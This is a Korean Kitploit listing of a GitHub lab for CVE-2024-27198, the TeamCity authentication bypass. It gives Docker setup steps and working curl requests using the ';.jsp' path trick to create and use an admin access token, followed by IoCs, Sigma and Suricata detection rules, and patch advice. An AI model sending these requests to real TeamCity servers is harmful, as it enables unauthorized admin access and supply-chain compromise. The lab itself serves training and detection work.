Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2024-27198_Lab — CVE-2024-27198 실습 환경 | Kitploit
도구/GitHubGitHub/cmpnn-romain/cve-2024-27198_lab
Vulnerability AnalysisExploitationWeb Application ExploitationCTFPenetration TestingThreat IntelligenceIntrusion DetectionLearning & EducationIncident ResponseLog AnalysisLabs & Practice
2개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유
GitHub
cmpnn-romain/cve-2024-27198_lab

CVE-2024-27198_Lab

CVE-2024-27198 실습 환경

저장소 보기

CVE-2024-27198 실습 환경

설명

TeamCity는 인증으로 보호되지 않는 관리자 전용 토큰 관리 페이지를 제공합니다. 이를 통해 인증되지 않은 사용자가 기존 사용자의 ID를 찾을 수 있다면 관리자 사용자의 액세스 토큰을 생성할 수 있습니다.


CVE 세부 정보

  • CVE ID: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • 기본 점수: 9.8 심각
  • 벡터:
    • CVSS:3.1
    • AV:N 네트워크
    • AC:L 낮음
    • PR:N 없음
    • UI:N 없음
    • S:U 변경되지 않음
    • C:H 높음
    • I:H 높음
    • A:H 높음

위협 인텔리전스 및 OSINT

실제 영향 및 악용

  • CISA KEV 카탈로그: 2024년 3월 7일에 추가되어 실제 환경에서 활발히 악용되고 있음이 확인되었습니다.
  • 위협 행위자: 여러 랜섬웨어 그룹과 APT, 특히 BianLian 랜섬웨어 그룹과 Jasmin 랜섬웨어 변종에 의해 악용되었습니다. 공격자는 이 우회 방법을 사용하여 가짜 관리자 계정을 생성하고, 악성 플러그인을 배포하며, 임의 코드 실행(RCE)을 통해 피해자 네트워크 내에서 측면 이동을 수행했습니다.
  • 대상 프로필: CI/CD 파이프라인은 고가치 대상(공급망 공격)입니다. TeamCity를 손상시키면 공격자는 소프트웨어 빌드에 악성 코드를 주입하고, 소스 코드를 도용하며, 배포 비밀(AWS 키, 인증서)을 추출할 수 있습니다.

이 CVE가 중요한 이유

이 취약점은 REST API 라우팅 메커니즘에 있습니다. 인증되지 않은 엔드포인트에 특정 문자(예: ?jsp=/app/rest/...;.jsp)를 추가함으로써 공격자는 TeamCity 웹 서버가 요청을 인증된 엔드포인트로 라우팅하도록 속이면서 보안 필터를 우회할 수 있습니다. 이를 위해 사전 지식이나 접근 권한이 전혀 필요하지 않으므로 CVSS 점수 9.8의 순수 취약점입니다.


재현 단계

컨테이너 시작

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

취약한 TeamCity 인스턴스에 접속: http://localhost:8111 패치된 TeamCity 인스턴스에 접속: http://localhost:8112


로그인 포털

사용자 이름:

root@kitploit:~
admin

비밀번호:

root@kitploit:~
admin

취약점 테스트

인증 없이 리소스에 GET 요청:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

둘 다 401 상태 코드와 함께 오류를 반환해야 합니다.


관리자 사용자에 대한 토큰 생성

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

이 명령은 다음과 같은 토큰을 반환해야 합니다(토큰은 매번 다릅니다):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

패치된 인스턴스에는 취약점이 없으므로 401 상태 코드와 함께 오류를 반환해야 합니다.


토큰 확인

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

사용자 목록을 반환해야 합니다.


토큰 삭제

  1. 관리자 계정으로 http://localhost:8111 에 접속합니다.
  2. 오른쪽 상단의 프로필 아이콘을 클릭합니다.
  3. 프로필 -> 액세스 토큰으로 이동합니다.
  4. "REDTEAM" 토큰이 보입니다.
  5. 토큰 옆의 삭제를 클릭합니다.

Blue Team: 로그에서 IoC 추적 (은밀성 요소)

실습 데모 중에 엄청난 Blue Team 발견을 보여줄 수 있습니다: 기본적으로 이 취약점은 매우 은밀합니다!

  1. TeamCity Docker 이미지에서 Tomcat 액세스 로그가 기본적으로 비활성화되어 있으므로 ;.jsp HTTP 요청이 기록되지 않습니다.
  2. TeamCity 감사 로그는 REST API를 통한 토큰 생성을 기록하지 않습니다.

그렇다면 어떻게 잡을 수 있을까요? 공격자가 흔적을 지울 때입니다! 공격자가 가짜 토큰을 삭제하여 흔적을 숨기면, TeamCity는 그 행동을 기록합니다.

감사 로그에서 흔적을 숨기는 공격자를 찾으세요:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

("REDTEAM" 토큰이 삭제되었음을 나타내는 로그 항목이 보입니다).


컨테이너 중지

root@kitploit:~
docker compose -f docker-compose.yml down

완화 및 탐지

기술 분석 (CWE-288)

이 취약점은 CWE-288: 대체 경로 또는 채널을 사용한 인증 우회의 한 예입니다. 이 결함은 Tomcat 웹 서버와 TeamCity 애플리케이션 라우터 간의 경로 혼동 문제에서 비롯됩니다. 요청에 ;.jsp를 추가하고 jsp= 매개변수에 대상 REST API 엔드포인트를 전달하면, 초기 보안 필터는 이 요청을 공개 .jsp 파일에 대한 인증되지 않은 요청(허용됨)으로 해석합니다. 그러나 내부 라우터는 ;.jsp를 제거하고 인증 필터를 적용하지 않고 요청을 제한된 /app/rest/ 엔드포인트로 전달합니다.

합법적인 사용 사례 (;이 허용되는 이유): Tomcat은 행렬 매개변수(Matrix Parameters) 를 위해 세미콜론 문자(;)를 사용합니다. 역사적으로 이 메커니즘은 쿠키가 비활성화된 경우 사용자 세션 상태를 유지하기 위해 JSESSIONID를 경로에 직접 추가하는 등에 사용됩니다. 이러한 정상적이고 합법적인 웹 서버 동작이 TeamCity 애플리케이션 라우터의 부적절한 검증과 결합되어 취약점이 발생합니다.

침해 지표 (IoC)

진행 중이거나 과거의 침해를 탐지하기 위해 Blue Team은 다음을 확인해야 합니다:

  1. 웹 로그: /app/rest/ 엔드포인트를 대상으로 하지만 URI에 비정상적인 ;.jsp 문자열이 포함된 HTTP 요청.
  2. 감사 로그 (teamcity-server.log): 설명할 수 없는 액세스 토큰 생성 또는 새 관리자 계정 생성.
  3. 시스템 레벨: 인식되지 않거나 의심스러운 플러그인 설치(공격자가 권한 상승 및 원격 코드 실행을 달성하기 위해 자주 사용함).

로그 탐지 (Sigma 규칙)

초기 익스플로잇은 기본적으로 은밀하기 때문에, Blue Team은 공격자의 사후 행동(예: 흔적 숨기기)을 탐지하는 데 의존해야 합니다. 다음은 의심스러운 토큰 삭제를 탐지하기 위한 SIEM용 Sigma 규칙입니다:

root@kitploit:~
title: JetBrains TeamCity 의심스러운 토큰 삭제 (CVE-2024-27198 사후 악용 탐지)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: CVE-2024-27198 악용 후 공격자가 흔적을 숨기기 위해 가짜 토큰을 삭제하는 행위를 탐지합니다.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

SIEM 라이브 데모 (Blue Team)

이 탐지가 실제로 작동함을 증명하려면 siem_simulator.py 스크립트를 실행하세요.

  1. 익스플로잇 터미널과 함께 두 번째 터미널을 엽니다.
  2. 취약한 컨테이너가 실행 중인지 확인합니다(docker compose up -d).
  3. 시뮬레이터를 실행합니다:
root@kitploit:~
python3 siem_simulator.py
  1. 첫 번째 터미널에서 익스플로잇을 실행하고, 토큰을 확인한 후 웹 인터페이스를 통해 토큰을 삭제합니다.
  2. 두 번째 터미널에서 공격자가 흔적을 숨기는 것을 Sigma 규칙이 탐지하여 빨간색 중대 경보가 표시되는 것을 지켜보세요!

수정

  • 공식 패치: TeamCity를 2023.11.4 이상 버전으로 업그레이드하면 백엔드에서 경로 일치를 적절히 검증하고 강제합니다.
  • 해결 방법: 패치가 불가능한 경우, JetBrains는 취약한 인스턴스에 설치할 수 있는 보안 패치 플러그인을 출시했습니다.

네트워크 탐지 (Suricata / Snort 규칙)

네트워크에서 이 악용 시도를 탐지하기 위해 SOC는 다음 IDS 규칙을 구현할 수 있습니다. 이 규칙은 비정상적인 ;.jsp 패턴과 REST API 경로의 조합을 찾습니다:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

패치된 버전 테스트 (실습 데모)

완화 조치가 효과가 있음을 증명하기 위해 포트 8112에서 실행 중인 패치된 TeamCity 컨테이너에 동일한 익스플로잇 페이로드를 실행할 수 있습니다:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

패치가 경로 일치를 엄격하게 강제하고 행렬 매개변수를 적절히 검증하기 때문에 우회는 실패합니다. 생성된 토큰 대신 401 Unauthorized 또는 404 Not Found 응답이 표시되어야 합니다.


링크

  • CVE-2024-27198
도구 다운로드